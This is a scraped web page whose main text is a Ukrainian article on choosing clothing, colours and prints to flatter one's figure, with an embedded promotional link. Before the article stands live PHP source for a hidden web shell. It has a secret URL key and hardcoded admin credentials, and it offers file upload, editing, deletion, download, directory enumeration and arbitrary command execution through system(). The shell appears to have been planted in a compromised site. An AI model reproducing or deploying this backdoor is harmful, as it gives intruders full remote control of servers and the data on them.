if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Як правильно підібрати одяг для вигідного підкреслення фігури – collectives.berlin

Your digital paradise.

Як правильно підібрати одяг для вигідного підкреслення фігури

Визначте свій тип статури – перший крок до вибору вдалого ансамблю. Від стрункої і спортивної до округлої та жіночної – розуміння своїх особливостей допоможе зробити правильний вибір. Для «грушоподібної» статури варто обирати вирізи та фути з об’ємними елементами на верхній частині, https://lidiastyle.com.ua/ щоб зрівноважити пропорції.

Вибір кольорів також грає важливу роль. Темні відтінки здатні візуально зменшити, тоді як яскраві та світлі кольори акцентують на певних ділянках. Приміром, білий верх та темні штани можуть створити ефект стрункості, привертаючи увагу до верхньої частини.

Гра з текстурами і принтами допоможе звернути увагу на вигідні аспекти. Принти на тканині в області талії або бюста нададуть образу динаміки, приховуючи те, що не потрібно акцентувати. Текстуровані матеріали, такі як шифон або жаккард, можуть додати обсягу там, де це доцільно.

Не забувайте про аксесуари. Вони здатні змінити загальний вигляд. Довгі серйозні ланцюги або яскраві браслети на руку акцентують увагу на верхівці, у той час як широкі пояси підкреслять талію. Будьте креативними в біді з малими деталями – саме вони створюють образ, що запам’ятовується.

Вибір тканин та крою для вашої фігури

Тканини з еластаном створюють чудову пружність, що підкреслює контури тіла. Сукні або блузи з цього матеріалу можуть прекрасно облягати ваш силует, не сковуючи рухів.

Класичні варіанти

Бавовняні або льняні вироби пасують до повсякденного стилю. Вони добре пропускають повітря, що робить їх комфортними в теплу погоду, а крій може варіюватись від вільного до приталеного.

Шовкові й атласні тканини додають елегантності. Вбрання з таких матеріалів виглядають розкішно на вечірках та урочистостях, створюючи ефект падаючих ліній.

Нестандартні рішення

Тканини з малюнком візуально розширюють або звужують пропорції. Рекомендується обирати крупні принти для тих, хто бажає відволікти увагу від певних ділянок.

Класичні прямі крої підходять для мінімалістичного стилю і універсальні в поєднанні. Пальто або брюки у цій формі легко комбінуються з різними речами у шафі.

Обирайте легкі, прозорі матеріали для надання легкості образу. Такі текстури підходять для літніх вечірок і додають грайливості в ансамбль.

Колір і принти: як підкреслити переваги та приховати недоліки

Темні відтінки, такі як чорний або темно-синій, чудово коригують обсяги, надаючи елегантності силуету. Якщо мета – візуально зменшити певні ділянки, варто обрати їх для цих частин.

Світлі кольори, навпаки, акцентують увагу, тому їх доцільно використовувати в тих зонах, які потрібно підкреслити. Наприклад, якщо ви бажаєте вигідно представити плечі, біла блузка стане ефективним вибором.

Принти та текстури

Вертикальні смужки створюють ілюзію довжини, ідеально підходять для підвищення стрункості. Обирайте вироби з такими малюнками, якщо хочете візуально подовжити фігуру.

Квіткові узори чи великі малюнки привертають увагу до певних частин. Вони ефективні, якщо потрібно акцентувати увагу на стегнах або грудях, але можуть відволікати від менш вдалої частини.

Для маскування округлостей важливо уникати великих візерунків. Замість цього варто обрати дрібні принти, які створюють легкість і не відволікають від силуету.

Комбінації кольорів

Контрастні поєднання можуть підкреслити ваш стиль, але їх варто використовувати обережно. Найкраще комбінації з нейтральними відтінками і яскравими акцентами виглядають гармонійно та стильно.

Не забувайте про коло кольорів: комплементарні відтінки гармонійно сплітаються, надаючи образу витонченості. Наприклад, зелені тони з рожевими створюють чудовий баланс.

Leave a Reply

Your email address will not be published. Required fields are marked *